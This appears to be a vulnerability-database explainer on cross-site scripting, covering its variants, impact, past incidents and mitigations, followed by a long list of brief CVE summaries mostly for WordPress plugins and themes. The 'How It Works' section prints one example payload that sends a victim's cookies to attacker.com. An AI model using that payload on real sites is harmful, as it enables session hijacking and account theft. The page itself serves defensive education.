Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (38880)
Stored XSS in Owl Carousel WP through version 2.2.2 allows authenticated users with high privileges to inject malicious scripts that persist in web pages and execute in visitors' browsers. An attacker with administrative access could exploit improper input sanitization to compromise site visitor sessions or steal sensitive data. A patch is not currently available.
Stored XSS in teachPress through version 9.0.12 enables authenticated attackers to inject malicious scripts that execute in other users' browsers, potentially compromising session data and performing unauthorized actions within the application. The vulnerability requires user interaction to trigger and can affect multiple users across the application scope. No security patch is currently available for affected installations.
The Menu In Post plugin for Linux through version 1.4.1 contains a DOM-based cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts into web pages viewed by other users. An attacker with user-level access can exploit this to steal session tokens, deface content, or perform actions on behalf of victims. No patch is currently available for this vulnerability.
subhansanjaya Carousel Horizontal Posts Content Slider carousel-horizontal-posts-content-slider is affected by cross-site scripting (xss) (CVSS 6.5).
Stored cross-site scripting in the Autodesk Fusion desktop application allows a malicious actor to embed an HTML payload in a component's description that, when clicked by another user, can read local files or execute arbitrary code in the context of the Fusion process. The vulnerability requires user interaction but no authentication on the victim side, and Autodesk has released a patch via security advisory ADSK-SA-2026-0001. No public exploit identified at time of analysis and EPSS exploitation probability is very low at 0.02%.
Stored cross-site scripting in the Autodesk Fusion desktop application allows remote attackers to embed malicious HTML in a part's attribute that, when clicked by a victim, executes script in the application context. Because Fusion is a desktop Electron-style client rather than a sandboxed browser, successful exploitation can escalate to local file read or arbitrary code execution in the user's process. No public exploit identified at time of analysis, and EPSS exploitation probability is very low (0.02%, 4th percentile).
Stored cross-site scripting in the Autodesk Fusion desktop application allows remote attackers to embed a malicious HTML payload in a design name that executes when a user opens the delete confirmation dialog and clicks the rendered content. Successful exploitation can lead to local file disclosure or arbitrary code execution in the context of the Fusion process. No public exploit identified at time of analysis, and EPSS exploitation probability is low (0.04%, 11th percentile).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Grand Spa grandspa allows Reflected XSS.This issue affects Grand Spa: from n/a through <= 3.5.5. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Grand Magazine grandmagazine allows Reflected XSS.This issue affects Grand Magazine: from n/a through <= 3.5.7. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hossni Mubarak JobWP jobwp allows Stored XSS.This issue affects JobWP: from n/a through <= 2.4.5. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in scriptsbundle CarSpot carspot allows Reflected XSS.This issue affects CarSpot: from n/a through < 2.4.6. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RealMag777 TableOn posts-table-filterable allows Reflected XSS.This issue affects TableOn: from n/a through <= 1.0.4.2. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Boopathi Rajan WP Test Email wp-test-email allows Reflected XSS.This issue affects WP Test Email: from n/a through <= 1.1.7. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpWave Hide My WP hide_my_wp allows Reflected XSS.This issue affects Hide My WP: from n/a through <= 6.2.12. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins Hotel Listing hotel-listing allows Reflected XSS.This issue affects Hotel Listing: from n/a through <= 1.4.0. [CVSS 7.1 HIGH]
highwarden Super Logos Showcase superlogoshowcase-wp is affected by cross-site scripting (xss) (CVSS 7.1).
LambertGroup Universal Video Player universal-video-player is affected by cross-site scripting (xss) (CVSS 7.1).
CridioStudio ListingPro Reviews listingpro-reviews is affected by cross-site scripting (xss) (CVSS 7.1).
LambertGroup Universal Video Player universal-video-player is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QantumThemes KenthaRadio qt-kentharadio allows Reflected XSS.This issue affects KenthaRadio: from n/a through <= 2.2.0. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jegtheme JNews - Video jnews-video allows Reflected XSS.This issue affects JNews - Video: from n/a through <= 11.0.2. [CVSS 7.1 HIGH]
jegtheme JNews - Frontend Submit jnews-frontend-submit is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kriesi Enfold enfold allows DOM-Based XSS.This issue affects Enfold: from n/a through <= 7.1.3. [CVSS 6.5 MEDIUM]
cjjparadoxmax Synergy Project Manager synergy-project-manager is affected by cross-site scripting (xss) (CVSS 5.8).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in shoutoutglobal ShoutOut shoutout allows Reflected XSS.This issue affects ShoutOut: from n/a through <= 4.0.2. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arevico WP Simple Redirect wp-simple-redirect allows Reflected XSS.This issue affects WP Simple Redirect: from n/a through <= 1.1. [CVSS 7.1 HIGH]
extremeidea bidorbuy Store Integrator bidorbuystoreintegrator is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in noCreativity Dooodl dooodl allows Reflected XSS.This issue affects Dooodl: from n/a through <= 2.3.0. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in woofer696 Dinatur dinatur allows Stored XSS.This issue affects Dinatur: from n/a through <= 1.18. [CVSS 7.1 HIGH]
Stored cross-site scripting in Infility Global WordPress plugin through version 2.14.50 allows remote attackers to inject malicious scripts that execute in victim browsers. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L) indicates unauthenticated attackers can exploit this remotely with low complexity, requiring only victim interaction. EPSS score of 0.04% (12th percentile) suggests low probability of mass exploitation. Patchstack vulnerability database confirms this as a stored XSS vulnerability, meaning injected scripts persist and affect multiple users who view the compromised content.
agmorpheus Syntax Highlighter Compress syntax-highlighter-compress is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Casey Bisson wpCAS wpcas allows Reflected XSS.This issue affects wpCAS: from n/a through <= 1.07. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Frank Corso Quote Master quote-master allows Reflected XSS.This issue affects Quote Master: from n/a through <= 7.1.1. [CVSS 7.1 HIGH]
Remi Corson Easy Theme Options easy-theme-options is affected by cross-site scripting (xss) (CVSS 7.1).
expresstechsoftware MemberPress Discord Addon expresstechsoftwares-memberpress-discord-add-on is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in matiskiba Ravpage ravpage allows Reflected XSS.This issue affects Ravpage: from n/a through <= 2.33. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Craft craftcoffee allows DOM-Based XSS.This issue affects Craft: from n/a through <= 2.3.6. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods DotLife dotlife allows Reflected XSS.This issue affects DotLife: from n/a through < 4.9.5. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Hoteller hoteller allows Reflected XSS.This issue affects Hoteller: from n/a through < 6.8.9. [CVSS 7.1 HIGH]
codisto Omnichannel for WooCommerce codistoconnect is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dmytro Shteflyuk CodeColorer codecolorer allows Stored XSS.This issue affects CodeColorer: from n/a through <= 0.10.1. [CVSS 7.1 HIGH]
GLS GLS Shipping for WooCommerce gls-shipping-for-woocommerce is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in netgsm Netgsm netgsm allows Reflected XSS.This issue affects Netgsm: from n/a through <= 2.9.63. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mndpsingh287 WP Mail wp-mail allows Reflected XSS.This issue affects WP Mail: from n/a through <= 1.3. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kapil Chugh My Post Order my-posts-order allows Reflected XSS.This issue affects My Post Order: from n/a through <= 1.2.1.1. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in favethemes Homey Core homey-core allows Reflected XSS.This issue affects Homey Core: from n/a through <= 2.4.3. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in purethemes WorkScout-Core workscout-core allows Reflected XSS.This issue affects WorkScout-Core: from n/a through <= 1.7.06. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in purethemes WorkScout workscout allows Reflected XSS.This issue affects WorkScout: from n/a through <= 4.1.07. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Grand Tour grandtour allows Reflected XSS.This issue affects Grand Tour: from n/a through < 5.6.2. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in designingmedia Hostiko hostiko allows Reflected XSS.This issue affects Hostiko: from n/a through < 94.3.6. [CVSS 7.1 HIGH]
scriptsbundle AdForest Elementor adforest-elementor is affected by cross-site scripting (xss) (CVSS 7.1).
wphocus My auctions allegro my-auctions-allegro-free-edition is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows Reflected XSS.This issue affects JetEngine: from n/a through <= 3.7.7. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CleverSoft Anon anon2x allows Reflected XSS.This issue affects Anon: from n/a through <= 2.2.10. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in foreverpinetree TheNa thena allows Reflected XSS.This issue affects TheNa: from n/a through <= 1.5.5. [CVSS 7.1 HIGH]
ThemeGoods Grand Restaurant Theme Elements for Elementor grandrestaurant-elementor is affected by cross-site scripting (xss) (CVSS 5.4).
SEOSEON EUROPE S.L Affiliate Link Tracker affiliate-link-tracker is affected by cross-site scripting (xss) (CVSS 5.9).
adamlabs WordPress Photo Gallery photo-gallery-portfolio is affected by cross-site scripting (xss) (CVSS 6.1).
flexostudio flexo-posts-manager flexo-posts-manager is affected by cross-site scripting (xss) (CVSS 6.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ayecode Restaurante restaurante allows Reflected XSS.This issue affects Restaurante: from n/a through <= 3.0.7. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jthemes xSmart xsmart allows Reflected XSS.This issue affects xSmart: from n/a through <= 1.2.9.4. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Composer td-composer allows DOM-Based XSS.This issue affects tagDiv Composer: from n/a through <= 5.4.2. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pondol Pondol BBS pondol-bbs allows Stored XSS.This issue affects Pondol BBS: from n/a through <= 1.1.8.4. [CVSS 5.4 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ApusTheme Drone drone allows Reflected XSS.This issue affects Drone: from n/a through <= 1.40. [CVSS 6.1 MEDIUM]
LambertGroup Accordion Slider PRO accordion_slider_pro is affected by cross-site scripting (xss) (CVSS 6.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup xPromoter top_bar_promoter allows Reflected XSS.This issue affects xPromoter: from n/a through <= 1.3.4. [CVSS 6.1 MEDIUM]
highwarden Super Interactive Maps super-interactive-maps is affected by cross-site scripting (xss) (CVSS 6.1).
LambertGroup Magic Responsive Slider and Carousel WordPress magic_carousel is affected by cross-site scripting (xss) (CVSS 6.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup Magic Slider magic_slider allows Reflected XSS.This issue affects Magic Slider: from n/a through <= 2.2. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup Image&Video FullScreen Background lbg_fullscreen_fullwidth_slider allows Reflected XSS.This issue affects Image&Video FullScreen Background: from n/a through <= 1.6.7. [CVSS 6.1 MEDIUM]
Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in xtemos WoodMart woodmart allows Code Injection.This issue affects WoodMart: from n/a through <= 8.3.7. [CVSS 6.1 MEDIUM]
Benjamin Intal Stackable stackable-ultimate-gutenberg-blocks is affected by cross-site scripting (xss) (CVSS 5.4).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup HTML5 Video Player with Playlist & Multiple Skins lbg-vp2-html5-rightside allows Reflected XSS.This issue affects HTML5 Video Player with Playlist & Multiple Skins: from n/a through <= 5.3.5. [CVSS 6.1 MEDIUM]
LambertGroup HTML5 Video Player lbg-vp2-html5-bottom is affected by cross-site scripting (xss) (CVSS 6.1).
Quick.Cart is vulnerable to reflected XSS via the sSort parameter. An attacker can craft a malicious URL which, when opened, results in arbitrary JavaScript execution in the victim’s browser. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Aida Computer Information Technology Inc. Hotel Guest Hotspot allows Reflected XSS.This issue affects Hotel Guest Hotspot: through 22012026. [CVSS 5.5 MEDIUM]
Horilla HRMS version 1.4.0 contains insufficient input validation in its XSS prevention function, allowing attackers to bypass protections through context-agnostic regex patterns. Public exploit code exists for this vulnerability, enabling attackers to redirect users to malicious sites, execute arbitrary JavaScript, and steal CSRF tokens for use in admin-targeted attacks. The vulnerability affects Horilla 1.4.0 and has been patched in version 1.5.0.
Horilla versions up to 1.5.0 is affected by unrestricted upload of file with dangerous type (CVSS 5.4).
HTML injection in Project Release in Altium Enterprise Server (AES) 7.0.3 on all platforms allows an authenticated attacker to execute arbitrary JavaScript in the victim’s browser via crafted HTML content. [CVSS 7.6 HIGH]
A stored cross-site scripting (XSS) vulnerability in the BOM Viewer in Altium AES 7.0.3 allows an authenticated attacker to inject arbitrary JavaScript into the Description field of a schematic, which is executed when the BOM Viewer renders the affected content. [CVSS 6.8 MEDIUM]
Stored XSS in Group-Office through unsanitized filenames allows authenticated users to inject malicious scripts that execute when other users view affected files, potentially compromising sessions or triggering unintended browser actions. The vulnerability affects versions 6.8.148 and below, and 25.0.1 through 25.0.79, with public exploit code available. Patches are available in versions 6.8.149 and 25.0.80.
Stored XSS in Docmost 0.3.0-0.23.2 allows authenticated users to execute arbitrary JavaScript in the browsers of document viewers through malicious Mermaid diagram code blocks. The vulnerability exists because unsanitized SVG/HTML output from Mermaid rendering is directly injected into the DOM, and Mermaid's security controls can be disabled via diagram directives. Public exploit code exists for this vulnerability, which is fixed in version 0.24.0.
Stored cross-site scripting in Argo Workflows (CNCF Kubernetes workflow engine) before 3.6.17 and 3.7.8 lets any authenticated workflow author plant malicious JavaScript that executes in another user's browser under the Argo Server origin, hijacking the victim's session to perform privileged API actions on their behalf. Public exploit details exist via the GitHub Security Advisory (GHSA-cv78-6m8q-ph82), but there is no public exploit identified as weaponized and no CISA KEV listing; EPSS is very low at 0.05% (16th percentile). The flaw is patched in 3.6.17 and 3.7.8.
Authenticated staff users in Saleor e-commerce platform versions 3.0.0 through 3.22.26 can upload malicious HTML and SVG files containing JavaScript that execute in users' browsers when served from the same domain as the dashboard, potentially allowing token theft. An attacker with staff privileges could craft script injections to compromise other staff members' sessions and access tokens. This vulnerability affects deployments where media files are hosted on the same domain as the dashboard and patches are available in versions 3.20.108, 3.21.43, and 3.22.27.
Saleor is an e-commerce platform. [CVSS 4.8 MEDIUM]
fleetdm/fleet is open source device management software. [CVSS 5.4 MEDIUM]
5ire AI assistant desktop application prior to version 0.10.0 has an output encoding vulnerability that allows malicious AI model responses to execute code through the Electron renderer.
VestaCP versions prior to 0.9.8-25 contain a cross-site scripting vulnerability in the IP interface configuration that allows attackers to inject malicious scripts. Attackers can exploit the 'v_interface' parameter by sending a crafted POST request to the add/ip/ endpoint with a stored XSS payload. [CVSS 7.2 HIGH]
GetSimple CMS My SMTP Contact Plugin 1.1.2 suffers from a Stored Cross-Site Scripting (XSS) vulnerability. The plugin attempts to sanitize user input using htmlspecialchars(), but this can be bypassed by passing dangerous characters as escaped hex bytes. [CVSS 5.4 MEDIUM]
GetSimple CMS Custom JS 0.1 plugin contains a cross-site request forgery vulnerability that allows unauthenticated attackers to inject arbitrary client-side code into administrator browsers. [CVSS 5.3 MEDIUM]
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 38880